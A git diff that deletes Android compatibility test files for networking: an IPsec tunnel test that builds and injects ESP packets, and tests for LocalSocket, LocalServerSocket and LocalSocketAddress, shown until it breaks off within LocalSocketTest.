-    private class InputPacketGeneratorIpSecTunnelTestRunnableFactory
-            implements IpSecTunnelTestRunnableFactory {
-        public IpSecTunnelTestRunnable getIpSecTunnelTestRunnable(
-                boolean transportInTunnelMode,
-                int spi,
-                InetAddress localInner,
-                InetAddress remoteInner,
-                InetAddress localOuter,
-                InetAddress remoteOuter,
-                IpSecTransform inTransportTransform,
-                IpSecTransform outTransportTransform,
-                int encapPort,
-                int innerSocketPort,
-                int expectedPacketSize)
-                throws Exception {
-            return new IpSecTunnelTestRunnable() {
-                @Override
-                public int run(Network ipsecNetwork) throws Exception {
-                    // Build a socket and receive traffic
-                    JavaUdpSocket socket = new JavaUdpSocket(localInner);
-                    ipsecNetwork.bindSocket(socket.mSocket);
-
-                    // For Transport-In-Tunnel mode, apply transform to socket
-                    if (transportInTunnelMode) {
-                        mISM.applyTransportModeTransform(
-                                socket.mSocket, IpSecManager.DIRECTION_IN, outTransportTransform);
-                        mISM.applyTransportModeTransform(
-                                socket.mSocket, IpSecManager.DIRECTION_OUT, inTransportTransform);
-                    }
-
-                    byte[] pkt;
-                    if (transportInTunnelMode) {
-                        pkt =
-                                getTransportInTunnelModePacket(
-                                        spi,
-                                        spi,
-                                        remoteInner,
-                                        localInner,
-                                        remoteOuter,
-                                        localOuter,
-                                        socket.getPort(),
-                                        encapPort);
-                    } else {
-                        pkt =
-                                getTunnelModePacket(
-                                        spi,
-                                        remoteInner,
-                                        localInner,
-                                        remoteOuter,
-                                        localOuter,
-                                        socket.getPort(),
-                                        encapPort);
-                    }
-                    sTunUtils.injectPacket(pkt);
-
-                    // Receive packet from socket, and validate
-                    receiveAndValidatePacket(socket);
-
-                    socket.close();
-
-                    return 0;
-                }
-            };
-        }
-    }
-
-    private void checkTunnelOutput(
-            int innerFamily, int outerFamily, boolean useEncap, boolean transportInTunnelMode)
-            throws Exception {
-        checkTunnel(
-                innerFamily,
-                outerFamily,
-                useEncap,
-                transportInTunnelMode,
-                new OutputIpSecTunnelTestRunnableFactory());
-    }
-
-    private void checkTunnelInput(
-            int innerFamily, int outerFamily, boolean useEncap, boolean transportInTunnelMode)
-            throws Exception {
-        checkTunnel(
-                innerFamily,
-                outerFamily,
-                useEncap,
-                transportInTunnelMode,
-                new InputPacketGeneratorIpSecTunnelTestRunnableFactory());
-    }
-
-    /**
-     * Validates that the kernel can talk to itself.
-     *
-     * <p>This test takes an outbound IPsec packet, reflects it (by flipping IP src/dst), and
-     * injects it back into the TUN. This test then verifies that a packet with the correct payload
-     * is found on the specified socket/port.
-     */
-    public void checkTunnelReflected(
-            int innerFamily, int outerFamily, boolean useEncap, boolean transportInTunnelMode)
-            throws Exception {
-        InetAddress localInner = innerFamily == AF_INET ? LOCAL_INNER_4 : LOCAL_INNER_6;
-        InetAddress remoteInner = innerFamily == AF_INET ? REMOTE_INNER_4 : REMOTE_INNER_6;
-
-        InetAddress localOuter = outerFamily == AF_INET ? LOCAL_OUTER_4 : LOCAL_OUTER_6;
-        InetAddress remoteOuter = outerFamily == AF_INET ? REMOTE_OUTER_4 : REMOTE_OUTER_6;
-
-        // Preselect both SPI and encap port, to be used for both inbound and outbound tunnels.
-        int spi = getRandomSpi(localOuter, remoteOuter);
-        int expectedPacketSize =
-                getPacketSize(innerFamily, outerFamily, useEncap, transportInTunnelMode);
-
-        try (IpSecManager.SecurityParameterIndex inTransportSpi =
-                        mISM.allocateSecurityParameterIndex(localInner, spi);
-                IpSecManager.SecurityParameterIndex outTransportSpi =
-                        mISM.allocateSecurityParameterIndex(remoteInner, spi);
-                IpSecTransform inTransportTransform =
-                        buildIpSecTransform(sContext, inTransportSpi, null, remoteInner);
-                IpSecTransform outTransportTransform =
-                        buildIpSecTransform(sContext, outTransportSpi, null, localInner);
-                UdpEncapsulationSocket encapSocket = mISM.openUdpEncapsulationSocket()) {
-
-            // Run output direction tests
-            IpSecTunnelTestRunnable outputIpSecTunnelTestRunnable =
-                    new OutputIpSecTunnelTestRunnableFactory()
-                            .getIpSecTunnelTestRunnable(
-                                    transportInTunnelMode,
-                                    spi,
-                                    localInner,
-                                    remoteInner,
-                                    localOuter,
-                                    remoteOuter,
-                                    inTransportTransform,
-                                    outTransportTransform,
-                                    useEncap ? encapSocket.getPort() : 0,
-                                    0,
-                                    expectedPacketSize);
-            int innerSocketPort =
-                    buildTunnelNetworkAndRunTests(
-                    localInner,
-                    remoteInner,
-                    localOuter,
-                    remoteOuter,
-                    spi,
-                    useEncap ? encapSocket : null,
-                    outputIpSecTunnelTestRunnable);
-
-            // Input direction tests, with matching inner socket ports.
-            IpSecTunnelTestRunnable inputIpSecTunnelTestRunnable =
-                    new InputReflectedIpSecTunnelTestRunnableFactory()
-                            .getIpSecTunnelTestRunnable(
-                                    transportInTunnelMode,
-                                    spi,
-                                    remoteInner,
-                                    localInner,
-                                    localOuter,
-                                    remoteOuter,
-                                    inTransportTransform,
-                                    outTransportTransform,
-                                    useEncap ? encapSocket.getPort() : 0,
-                                    innerSocketPort,
-                                    expectedPacketSize);
-            buildTunnelNetworkAndRunTests(
-                    remoteInner,
-                    localInner,
-                    localOuter,
-                    remoteOuter,
-                    spi,
-                    useEncap ? encapSocket : null,
-                    inputIpSecTunnelTestRunnable);
-        }
-    }
-
-    public void checkTunnel(
-            int innerFamily,
-            int outerFamily,
-            boolean useEncap,
-            boolean transportInTunnelMode,
-            IpSecTunnelTestRunnableFactory factory)
-            throws Exception {
-
-        InetAddress localInner = innerFamily == AF_INET ? LOCAL_INNER_4 : LOCAL_INNER_6;
-        InetAddress remoteInner = innerFamily == AF_INET ? REMOTE_INNER_4 : REMOTE_INNER_6;
-
-        InetAddress localOuter = outerFamily == AF_INET ? LOCAL_OUTER_4 : LOCAL_OUTER_6;
-        InetAddress remoteOuter = outerFamily == AF_INET ? REMOTE_OUTER_4 : REMOTE_OUTER_6;
-
-        // Preselect both SPI and encap port, to be used for both inbound and outbound tunnels.
-        // Re-uses the same SPI to ensure that even in cases of symmetric SPIs shared across tunnel
-        // and transport mode, packets are encrypted/decrypted properly based on the src/dst.
-        int spi = getRandomSpi(localOuter, remoteOuter);
-        int expectedPacketSize =
-                getPacketSize(innerFamily, outerFamily, useEncap, transportInTunnelMode);
-
-        try (IpSecManager.SecurityParameterIndex inTransportSpi =
-                        mISM.allocateSecurityParameterIndex(localInner, spi);
-                IpSecManager.SecurityParameterIndex outTransportSpi =
-                        mISM.allocateSecurityParameterIndex(remoteInner, spi);
-                IpSecTransform inTransportTransform =
-                        buildIpSecTransform(sContext, inTransportSpi, null, remoteInner);
-                IpSecTransform outTransportTransform =
-                        buildIpSecTransform(sContext, outTransportSpi, null, localInner);
-                UdpEncapsulationSocket encapSocket = mISM.openUdpEncapsulationSocket()) {
-
-            buildTunnelNetworkAndRunTests(
-                    localInner,
-                    remoteInner,
-                    localOuter,
-                    remoteOuter,
-                    spi,
-                    useEncap ? encapSocket : null,
-                    factory.getIpSecTunnelTestRunnable(
-                            transportInTunnelMode,
-                            spi,
-                            localInner,
-                            remoteInner,
-                            localOuter,
-                            remoteOuter,
-                            inTransportTransform,
-                            outTransportTransform,
-                            useEncap ? encapSocket.getPort() : 0,
-                            0,
-                            expectedPacketSize));
-        }
-    }
-
-    private int buildTunnelNetworkAndRunTests(
-            InetAddress localInner,
-            InetAddress remoteInner,
-            InetAddress localOuter,
-            InetAddress remoteOuter,
-            int spi,
-            UdpEncapsulationSocket encapSocket,
-            IpSecTunnelTestRunnable test)
-            throws Exception {
-        int innerPrefixLen = localInner instanceof Inet6Address ? IP6_PREFIX_LEN : IP4_PREFIX_LEN;
-        TestNetworkCallback testNetworkCb = null;
-        int innerSocketPort;
-
-        try (IpSecManager.SecurityParameterIndex inSpi =
-                        mISM.allocateSecurityParameterIndex(localOuter, spi);
-                IpSecManager.SecurityParameterIndex outSpi =
-                        mISM.allocateSecurityParameterIndex(remoteOuter, spi);
-                IpSecManager.IpSecTunnelInterface tunnelIface =
-                        mISM.createIpSecTunnelInterface(localOuter, remoteOuter, sTunNetwork)) {
-            // Build the test network
-            tunnelIface.addAddress(localInner, innerPrefixLen);
-            testNetworkCb = mCtsNetUtils.setupAndGetTestNetwork(tunnelIface.getInterfaceName());
-            testNetworkCb.waitForAvailable();
-            Network testNetwork = testNetworkCb.currentNetwork;
-
-            // Check interface was created
-            assertNotNull(NetworkInterface.getByName(tunnelIface.getInterfaceName()));
-
-            // Verify address was added
-            final NetworkInterface netIface = NetworkInterface.getByInetAddress(localInner);
-            assertNotNull(netIface);
-            assertEquals(tunnelIface.getInterfaceName(), netIface.getDisplayName());
-
-            // Configure Transform parameters
-            IpSecTransform.Builder transformBuilder = new IpSecTransform.Builder(sContext);
-            transformBuilder.setEncryption(
-                    new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY));
-            transformBuilder.setAuthentication(
-                    new IpSecAlgorithm(
-                            IpSecAlgorithm.AUTH_HMAC_SHA256, AUTH_KEY, AUTH_KEY.length * 4));
-
-            if (encapSocket != null) {
-                transformBuilder.setIpv4Encapsulation(encapSocket, encapSocket.getPort());
-            }
-
-            // Apply transform and check that traffic is properly encrypted
-            try (IpSecTransform inTransform =
-                            transformBuilder.buildTunnelModeTransform(remoteOuter, inSpi);
-                    IpSecTransform outTransform =
-                            transformBuilder.buildTunnelModeTransform(localOuter, outSpi)) {
-                mISM.applyTunnelModeTransform(tunnelIface, IpSecManager.DIRECTION_IN, inTransform);
-                mISM.applyTunnelModeTransform(
-                        tunnelIface, IpSecManager.DIRECTION_OUT, outTransform);
-
-                innerSocketPort = test.run(testNetwork);
-            }
-
-            // Teardown the test network
-            sTNM.teardownTestNetwork(testNetwork);
-
-            // Remove addresses and check that interface is still present, but fails lookup-by-addr
-            tunnelIface.removeAddress(localInner, innerPrefixLen);
-            assertNotNull(NetworkInterface.getByName(tunnelIface.getInterfaceName()));
-            assertNull(NetworkInterface.getByInetAddress(localInner));
-
-            // Check interface was cleaned up
-            tunnelIface.close();
-            assertNull(NetworkInterface.getByName(tunnelIface.getInterfaceName()));
-        } finally {
-            if (testNetworkCb != null) {
-                sCM.unregisterNetworkCallback(testNetworkCb);
-            }
-        }
-
-        return innerSocketPort;
-    }
-
-    private static void receiveAndValidatePacket(JavaUdpSocket socket) throws Exception {
-        byte[] socketResponseBytes = socket.receive();
-        assertArrayEquals(TEST_DATA, socketResponseBytes);
-    }
-
-    private int getRandomSpi(InetAddress localOuter, InetAddress remoteOuter) throws Exception {
-        // Try to allocate both in and out SPIs using the same requested SPI value.
-        try (IpSecManager.SecurityParameterIndex inSpi =
-                        mISM.allocateSecurityParameterIndex(localOuter);
-                IpSecManager.SecurityParameterIndex outSpi =
-                        mISM.allocateSecurityParameterIndex(remoteOuter, inSpi.getSpi()); ) {
-            return inSpi.getSpi();
-        }
-    }
-
-    private EspHeader buildTransportModeEspPacket(
-            int spi, InetAddress src, InetAddress dst, int port, Payload payload) throws Exception {
-        IpHeader preEspIpHeader = getIpHeader(payload.getProtocolId(), src, dst, payload);
-
-        return new EspHeader(
-                payload.getProtocolId(),
-                spi,
-                1, // sequence number
-                CRYPT_KEY, // Same key for auth and crypt
-                payload.getPacketBytes(preEspIpHeader));
-    }
-
-    private EspHeader buildTunnelModeEspPacket(
-            int spi,
-            InetAddress srcInner,
-            InetAddress dstInner,
-            InetAddress srcOuter,
-            InetAddress dstOuter,
-            int port,
-            int encapPort,
-            Payload payload)
-            throws Exception {
-        IpHeader innerIp = getIpHeader(payload.getProtocolId(), srcInner, dstInner, payload);
-        return new EspHeader(
-                innerIp.getProtocolId(),
-                spi,
-                1, // sequence number
-                CRYPT_KEY, // Same key for auth and crypt
-                innerIp.getPacketBytes());
-    }
-
-    private IpHeader maybeEncapPacket(
-            InetAddress src, InetAddress dst, int encapPort, EspHeader espPayload)
-            throws Exception {
-
-        Payload payload = espPayload;
-        if (encapPort != 0) {
-            payload = new UdpHeader(encapPort, encapPort, espPayload);
-        }
-
-        return getIpHeader(payload.getProtocolId(), src, dst, payload);
-    }
-
-    private byte[] getTunnelModePacket(
-            int spi,
-            InetAddress srcInner,
-            InetAddress dstInner,
-            InetAddress srcOuter,
-            InetAddress dstOuter,
-            int port,
-            int encapPort)
-            throws Exception {
-        UdpHeader udp = new UdpHeader(port, port, new BytePayload(TEST_DATA));
-
-        EspHeader espPayload =
-                buildTunnelModeEspPacket(
-                        spi, srcInner, dstInner, srcOuter, dstOuter, port, encapPort, udp);
-        return maybeEncapPacket(srcOuter, dstOuter, encapPort, espPayload).getPacketBytes();
-    }
-
-    private byte[] getTransportInTunnelModePacket(
-            int spiInner,
-            int spiOuter,
-            InetAddress srcInner,
-            InetAddress dstInner,
-            InetAddress srcOuter,
-            InetAddress dstOuter,
-            int port,
-            int encapPort)
-            throws Exception {
-        UdpHeader udp = new UdpHeader(port, port, new BytePayload(TEST_DATA));
-
-        EspHeader espPayload = buildTransportModeEspPacket(spiInner, srcInner, dstInner, port, udp);
-        espPayload =
-                buildTunnelModeEspPacket(
-                        spiOuter,
-                        srcInner,
-                        dstInner,
-                        srcOuter,
-                        dstOuter,
-                        port,
-                        encapPort,
-                        espPayload);
-        return maybeEncapPacket(srcOuter, dstOuter, encapPort, espPayload).getPacketBytes();
-    }
-
-    // Transport-in-Tunnel mode tests
-    @Test
-    public void testTransportInTunnelModeV4InV4() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelOutput(AF_INET, AF_INET, false, true);
-        checkTunnelInput(AF_INET, AF_INET, false, true);
-    }
-
-    @Test
-    public void testTransportInTunnelModeV4InV4Reflected() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelReflected(AF_INET, AF_INET, false, true);
-    }
-
-    @Test
-    public void testTransportInTunnelModeV4InV4UdpEncap() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelOutput(AF_INET, AF_INET, true, true);
-        checkTunnelInput(AF_INET, AF_INET, true, true);
-    }
-
-    @Test
-    public void testTransportInTunnelModeV4InV4UdpEncapReflected() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelReflected(AF_INET, AF_INET, false, true);
-    }
-
-    @Test
-    public void testTransportInTunnelModeV4InV6() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelOutput(AF_INET, AF_INET6, false, true);
-        checkTunnelInput(AF_INET, AF_INET6, false, true);
-    }
-
-    @Test
-    public void testTransportInTunnelModeV4InV6Reflected() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelReflected(AF_INET, AF_INET, false, true);
-    }
-
-    @Test
-    public void testTransportInTunnelModeV6InV4() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelOutput(AF_INET6, AF_INET, false, true);
-        checkTunnelInput(AF_INET6, AF_INET, false, true);
-    }
-
-    @Test
-    public void testTransportInTunnelModeV6InV4Reflected() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelReflected(AF_INET, AF_INET, false, true);
-    }
-
-    @Test
-    public void testTransportInTunnelModeV6InV4UdpEncap() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelOutput(AF_INET6, AF_INET, true, true);
-        checkTunnelInput(AF_INET6, AF_INET, true, true);
-    }
-
-    @Test
-    public void testTransportInTunnelModeV6InV4UdpEncapReflected() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelReflected(AF_INET, AF_INET, false, true);
-    }
-
-    @Test
-    public void testTransportInTunnelModeV6InV6() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelOutput(AF_INET, AF_INET6, false, true);
-        checkTunnelInput(AF_INET, AF_INET6, false, true);
-    }
-
-    @Test
-    public void testTransportInTunnelModeV6InV6Reflected() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelReflected(AF_INET, AF_INET, false, true);
-    }
-
-    // Tunnel mode tests
-    @Test
-    public void testTunnelV4InV4() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelOutput(AF_INET, AF_INET, false, false);
-        checkTunnelInput(AF_INET, AF_INET, false, false);
-    }
-
-    @Test
-    public void testTunnelV4InV4Reflected() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelReflected(AF_INET, AF_INET, false, false);
-    }
-
-    @Test
-    public void testTunnelV4InV4UdpEncap() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelOutput(AF_INET, AF_INET, true, false);
-        checkTunnelInput(AF_INET, AF_INET, true, false);
-    }
-
-    @Test
-    public void testTunnelV4InV4UdpEncapReflected() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelReflected(AF_INET, AF_INET, true, false);
-    }
-
-    @Test
-    public void testTunnelV4InV6() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelOutput(AF_INET, AF_INET6, false, false);
-        checkTunnelInput(AF_INET, AF_INET6, false, false);
-    }
-
-    @Test
-    public void testTunnelV4InV6Reflected() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelReflected(AF_INET, AF_INET6, false, false);
-    }
-
-    @Test
-    public void testTunnelV6InV4() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelOutput(AF_INET6, AF_INET, false, false);
-        checkTunnelInput(AF_INET6, AF_INET, false, false);
-    }
-
-    @Test
-    public void testTunnelV6InV4Reflected() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelReflected(AF_INET6, AF_INET, false, false);
-    }
-
-    @Test
-    public void testTunnelV6InV4UdpEncap() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelOutput(AF_INET6, AF_INET, true, false);
-        checkTunnelInput(AF_INET6, AF_INET, true, false);
-    }
-
-    @Test
-    public void testTunnelV6InV4UdpEncapReflected() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelReflected(AF_INET6, AF_INET, true, false);
-    }
-
-    @Test
-    public void testTunnelV6InV6() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelOutput(AF_INET6, AF_INET6, false, false);
-        checkTunnelInput(AF_INET6, AF_INET6, false, false);
-    }
-
-    @Test
-    public void testTunnelV6InV6Reflected() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-        checkTunnelReflected(AF_INET6, AF_INET6, false, false);
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/LocalServerSocketTest.java b/tests/tests/net/src/android/net/cts/LocalServerSocketTest.java
deleted file mode 100644
index 7c5a1b3..0000000
--- a/tests/tests/net/src/android/net/cts/LocalServerSocketTest.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.net.cts;
-
-import junit.framework.TestCase;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import android.net.LocalServerSocket;
-import android.net.LocalSocket;
-import android.net.LocalSocketAddress;
-
-public class LocalServerSocketTest extends TestCase {
-
-    public void testLocalServerSocket() throws IOException {
-        String address = "com.android.net.LocalServerSocketTest_testLocalServerSocket";
-        LocalServerSocket localServerSocket = new LocalServerSocket(address);
-        assertNotNull(localServerSocket.getLocalSocketAddress());
-
-        // create client socket
-        LocalSocket clientSocket = new LocalSocket();
-
-        // establish connection between client and server
-        clientSocket.connect(new LocalSocketAddress(address));
-        LocalSocket serverSocket = localServerSocket.accept();
-
-        assertTrue(serverSocket.isConnected());
-        assertTrue(serverSocket.isBound());
-
-        // send data from client to server
-        OutputStream clientOutStream = clientSocket.getOutputStream();
-        clientOutStream.write(12);
-        InputStream serverInStream = serverSocket.getInputStream();
-        assertEquals(12, serverInStream.read());
-
-        // send data from server to client
-        OutputStream serverOutStream = serverSocket.getOutputStream();
-        serverOutStream.write(3);
-        InputStream clientInStream = clientSocket.getInputStream();
-        assertEquals(3, clientInStream.read());
-
-        // close server socket
-        assertNotNull(localServerSocket.getFileDescriptor());
-        localServerSocket.close();
-        assertNull(localServerSocket.getFileDescriptor());
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/LocalSocketAddressTest.java b/tests/tests/net/src/android/net/cts/LocalSocketAddressTest.java
deleted file mode 100644
index 6ef003b..0000000
--- a/tests/tests/net/src/android/net/cts/LocalSocketAddressTest.java
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import android.net.LocalSocketAddress;
-import android.net.LocalSocketAddress.Namespace;
-import android.test.AndroidTestCase;
-
-public class LocalSocketAddressTest extends AndroidTestCase {
-
-    public void testNewLocalSocketAddressWithDefaultNamespace() {
-        // default namespace
-        LocalSocketAddress localSocketAddress = new LocalSocketAddress("name");
-        assertEquals("name", localSocketAddress.getName());
-        assertEquals(Namespace.ABSTRACT, localSocketAddress.getNamespace());
-
-        // specify the namespace
-        LocalSocketAddress localSocketAddress2 =
-                new LocalSocketAddress("name2", Namespace.ABSTRACT);
-        assertEquals("name2", localSocketAddress2.getName());
-        assertEquals(Namespace.ABSTRACT, localSocketAddress2.getNamespace());
-
-        LocalSocketAddress localSocketAddress3 =
-                new LocalSocketAddress("name3", Namespace.FILESYSTEM);
-        assertEquals("name3", localSocketAddress3.getName());
-        assertEquals(Namespace.FILESYSTEM, localSocketAddress3.getNamespace());
-
-        LocalSocketAddress localSocketAddress4 =
-                new LocalSocketAddress("name4", Namespace.RESERVED);
-        assertEquals("name4", localSocketAddress4.getName());
-        assertEquals(Namespace.RESERVED, localSocketAddress4.getNamespace());
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/LocalSocketAddress_NamespaceTest.java b/tests/tests/net/src/android/net/cts/LocalSocketAddress_NamespaceTest.java
deleted file mode 100644
index 97dfa43..0000000
--- a/tests/tests/net/src/android/net/cts/LocalSocketAddress_NamespaceTest.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import android.net.LocalSocketAddress.Namespace;
-import android.test.AndroidTestCase;
-
-public class LocalSocketAddress_NamespaceTest extends AndroidTestCase {
-
-    public void testValueOf() {
-        assertEquals(Namespace.ABSTRACT, Namespace.valueOf("ABSTRACT"));
-        assertEquals(Namespace.RESERVED, Namespace.valueOf("RESERVED"));
-        assertEquals(Namespace.FILESYSTEM, Namespace.valueOf("FILESYSTEM"));
-    }
-
-    public void testValues() {
-        Namespace[] expected = Namespace.values();
-        assertEquals(Namespace.ABSTRACT, expected[0]);
-        assertEquals(Namespace.RESERVED, expected[1]);
-        assertEquals(Namespace.FILESYSTEM, expected[2]);
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/LocalSocketTest.java b/tests/tests/net/src/android/net/cts/LocalSocketTest.java
deleted file mode 100644
index 6e61705..0000000
--- a/tests/tests/net/src/android/net/cts/LocalSocketTest.java
+++ /dev/null
@@ -1,470 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import junit.framework.TestCase;
-
-import android.net.Credentials;
-import android.net.LocalServerSocket;
-import android.net.LocalSocket;
-import android.net.LocalSocketAddress;
-import android.system.Os;
-import android.system.OsConstants;
-
-import java.io.FileDescriptor;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.util.concurrent.Callable;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
-
-public class LocalSocketTest extends TestCase {
-    private final static String ADDRESS_PREFIX = "com.android.net.LocalSocketTest";
-
-    public void testLocalConnections() throws IOException {
-        String address = ADDRESS_PREFIX + "_testLocalConnections";
-        // create client and server socket
-        LocalServerSocket localServerSocket = new LocalServerSocket(address);
-        LocalSocket clientSocket = new LocalSocket();
-
-        // establish connection between client and server
-        LocalSocketAddress locSockAddr = new LocalSocketAddress(address);
-        assertFalse(clientSocket.isConnected());
-        clientSocket.connect(locSockAddr);
-        assertTrue(clientSocket.isConnected());
-
-        LocalSocket serverSocket = localServerSocket.accept();
-        assertTrue(serverSocket.isConnected());
-        assertTrue(serverSocket.isBound());
-        try {
-            serverSocket.bind(localServerSocket.getLocalSocketAddress());
-            fail("Cannot bind a LocalSocket from accept()");
-        } catch (IOException expected) {
-        }
-        try {
-            serverSocket.connect(locSockAddr);
-            fail("Cannot connect a LocalSocket from accept()");
-        } catch (IOException expected) {
-        }
-
-        Credentials credent = clientSocket.getPeerCredentials();
-        assertTrue(0 != credent.getPid());
-
-        // send data from client to server
-        OutputStream clientOutStream = clientSocket.getOutputStream();
-        clientOutStream.write(12);
-        InputStream serverInStream = serverSocket.getInputStream();
-        assertEquals(12, serverInStream.read());
-
-        //send data from server to client
-        OutputStream serverOutStream = serverSocket.getOutputStream();
-        serverOutStream.write(3);
-        InputStream clientInStream = clientSocket.getInputStream();
-        assertEquals(3, clientInStream.read());
-
-        // Test sending and receiving file descriptors
-        clientSocket.setFileDescriptorsForSend(new FileDescriptor[]{FileDescriptor.in});
-        clientOutStream.write(32);
-        assertEquals(32, serverInStream.read());
-
-        FileDescriptor[] out = serverSocket.getAncillaryFileDescriptors();
-        assertEquals(1, out.length);
-        FileDescriptor fd = clientSocket.getFileDescriptor();
-        assertTrue(fd.valid());
-
-        //shutdown input stream of client
-        clientSocket.shutdownInput();
-        assertEquals(-1, clientInStream.read());
-
-        //shutdown output stream of client
-        clientSocket.shutdownOutput();
-        try {
-            clientOutStream.write(10);
-            fail("testLocalSocket shouldn't come to here");
-        } catch (IOException e) {
-            // expected
-        }
-
-        //shutdown input stream of server
-        serverSocket.shutdownInput();
-        assertEquals(-1, serverInStream.read());
-
-        //shutdown output stream of server
-        serverSocket.shutdownOutput();
-        try {
-            serverOutStream.write(10);
-            fail("testLocalSocket shouldn't come to here");
-        } catch (IOException e) {
-            // expected
-        }
-
-        //close client socket
-        clientSocket.close();
-        try {
-            clientInStream.read();
-            fail("testLocalSocket shouldn't come to here");
-        } catch (IOException e) {
-            // expected
-        }
-
-        //close server socket
-        serverSocket.close();
-        try {
-            serverInStream.read();
-            fail("testLocalSocket shouldn't come to here");
-        } catch (IOException e) {
-            // expected
-        }
-    }
-
-    public void testAccessors() throws IOException {
-        String address = ADDRESS_PREFIX + "_testAccessors";
-        LocalSocket socket = new LocalSocket();
-        LocalSocketAddress addr = new LocalSocketAddress(address);
-
-        assertFalse(socket.isBound());
-        socket.bind(addr);
-        assertTrue(socket.isBound());
-        assertEquals(addr, socket.getLocalSocketAddress());
-
-        String str = socket.toString();
-        assertTrue(str.contains("impl:android.net.LocalSocketImpl"));
-
-        socket.setReceiveBufferSize(1999);
-        assertEquals(1999 << 1, socket.getReceiveBufferSize());
-
-        socket.setSendBufferSize(3998);
-        assertEquals(3998 << 1, socket.getSendBufferSize());
-
-        assertEquals(0, socket.getSoTimeout());
-        socket.setSoTimeout(1996);
-        assertTrue(socket.getSoTimeout() > 0);
-
-        try {
-            socket.getRemoteSocketAddress();
-            fail("testLocalSocketSecondary shouldn't come to here");
-        } catch (UnsupportedOperationException e) {
-            // expected
-        }
-
-        try {
-            socket.isClosed();
-            fail("testLocalSocketSecondary shouldn't come to here");
-        } catch (UnsupportedOperationException e) {
-            // expected
-        }
-
-        try {
-            socket.isInputShutdown();
-            fail("testLocalSocketSecondary shouldn't come to here");
